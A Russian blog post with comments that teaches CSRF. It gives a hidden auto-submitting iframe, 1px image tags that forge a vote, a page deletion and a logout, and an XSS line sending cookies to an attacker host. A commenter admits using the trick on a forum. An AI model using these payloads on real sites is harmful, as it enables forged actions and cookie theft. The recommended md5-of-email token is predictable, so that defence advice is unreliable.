В сети часто можно встретить темы про XSS. Происходят такие атаки из-за неправильной фильтрации данных. Но есть еще CSRF-атаки, которые не зависят от фильтрации данных.
Пример POST-запроса
Рассмотрим форму личного сообщения на сайте какой-нибудь социальной сети.

Обычно html-код выглядит так
<form action="" method="post">
<input type="text" name="subject" /><br />
<textarea name="text"></textarea><br />
<input type="submit" name="submit" value="Отправить" />
</form>
Никакой капчи или другой защиты в этой форме нет. Действительно, зачем какая-то защита, если мы уверены, что пользователь авторизовался на сайте. Данная форма не подвержена XSS и с первого взгляда выглядит довольно безопасно.
Обработка формы на стороне сервера
<?php
if (isset($_POST['submit']) && $_SESSION['user']) {
$subject = htmlspecialchars($_POST['subject']);
$text = htmlspecialchars($_POST['text']);
// записываем в базу данных
mysql_query('INSERST INTO ...');
}
?>
$_SESSION['user'] – условие того, что пользователь авторизован.
Пользователь авторизовался на сайте. Затем он случайно зашел на сайт хакера, на котором есть скрытый iframe
<html>
<head><title>Сайт хакера</title></head>
<body>
<script type="text/javascript">
function submit_form(){
window.evilframe.document.forms[0].submit();
}
</script>
<iframe name="evilframe" src="form.html" style="display:none" onload="submit_form()"></iframe>
</body>
</html>
В iframe "form.html" подгружается код.
<form action="http://site.ru/mail.php" method="post">
<input type="text" name="subject" /><br />
<textarea name="text"></textarea><br />
<input type="submit" name="submit" value="Отправить" />
</form>
Что происходит. JavaScript автоматически отправляет форму, заполненную спамом, на сайт социальной сети. Вместе с заспамленной формой в запросе отправляются куки этого пользователя. Это происходит в полном соответствии с протоколом HTTP (форму можно отправить с другого домена, точно так же как можно подгрузить картинку с другого домена). На обработчик формы приходит точно такой же запрос, как если бы пользователь отправил бы его с основного сайта. Только реферер будет другим (реферер сайта хакера, так как с него ушел запрос).
Таким образом, пользователь даже не заметит, что форма была отправлена. Всё происходит в фоновом режиме.
Пример GET-запроса
Теперь рассмотрим пример GET-запроса. Например, на сайте есть голосование, реализованное через AJAX. На сайте хакера размещаем картинку размером 1px и указываем путь к скрипту голосования.
<img src=”http://www.vkontakte.ru/vote.php?id=3” width=1px height=1px />
id=3 – за кого мы голосуем.
Таким образом, как только пользователь зайдет на сайт хакера, то он проголосует за кого-то, причем сам пользователь этого не увидит.
Пример удаления страницы
<img src=»http://site.ru/page.php?id=4&action=delete″ width=1px height=1px />
Для подобных атак необходимо чтобы пользователь был авторизован на сайте социальной сети в момент атаки. Причем пользователя не спасет суперсложный пароль или последняя версия антивируса. Подобные атаки не противоречат протоколу HTTP и зависят только от отсутствия защиты от таких атак на самом сайте.
CSRF-атака, в отличие от XSS, не возвращает ответ. Т.е. ответ от сервера уже не может быть получен хакером. Ответ от сервера конечно приходит, но приходит он в браузер пользователя, а не на сайт хакера.
В XSS хакер может получить ответ от сервера. Например, встроить вредоносный код на сайте жертвы и таким образом воровать куки.
<img src=”http://www.hacker.ru/sniffer.php?cookie=document.cookie” width=1px height=1px />
Но, как я показал выше, хватает способов взлома и без получения ответа от сервера, посылая только запрос «в одну сторону».
Защита
В предыдущем абзаце содержится ответ на вопрос о способе защиты от CSRF. Примеры атак, приведенных выше, показывают, что для всех пользователей запросы будут одинаковые. Введем для каждого пользователя какое-то уникальное значение в скрытый параметр формы, например md5($user_email)
<form action="" method="post">
<input type="text" name="subject" /><br />
<textarea name="text"></textarea><br />
<input type="hidden" name="hash" value="<?=md5($_SESSION['user_email'])?>" />
<input type="submit" name="submit" value="Отправить" />
</form>
Проверяем на сервере
<?php
if (isset($_POST['submit']) && $_SESSION['user'] && md5($_SESSION['user_email'])==$_POST['hash']) {
$subject = htmlspecialchars($_POST['subject']);
$text = htmlspecialchars($_POST['text']);
// записываем в базу данных
mysql_query('INSERST INTO ...');
}
?>
Хакер не может загрузить эту форму, распарсить ее и узнать значение hash. На этом основана защита. Вот в принципе и всё. Для примера можете посмотреть формы, AJAX-запросы в Контакте. Там везде присутствует подобный хэш.
Можно еще проверять реферер, но в этом случае могут пострадать нормальные пользователи. Некоторые фаерволы и прокси обрезают реферер.

Мда... надо будет попробовать как-нибудь так побаловаться =)
Ха-ха
<img src="http://site.ru/login.php?do=logout"/>
Я так на одном самописном форуме некоторые темы "закрывал". Сейчас тоже работает.
да, есть такое:)
Поправил твой коммент, чтобы люди не баловались.
Самописные движки этим славятся, потому что CSRF не столь очевидная дыра как XSS. Многие начинающие разработчики не догадываются об этом.
В Контакте пару лет назад можно было менять сайт в чужом профиле через CSRF. Сейчас уже давно во все формы понапиханы хэши.
Норм. Защитится знач можно только через хеш:-)
Один вопрос: как в iframe изменять input value?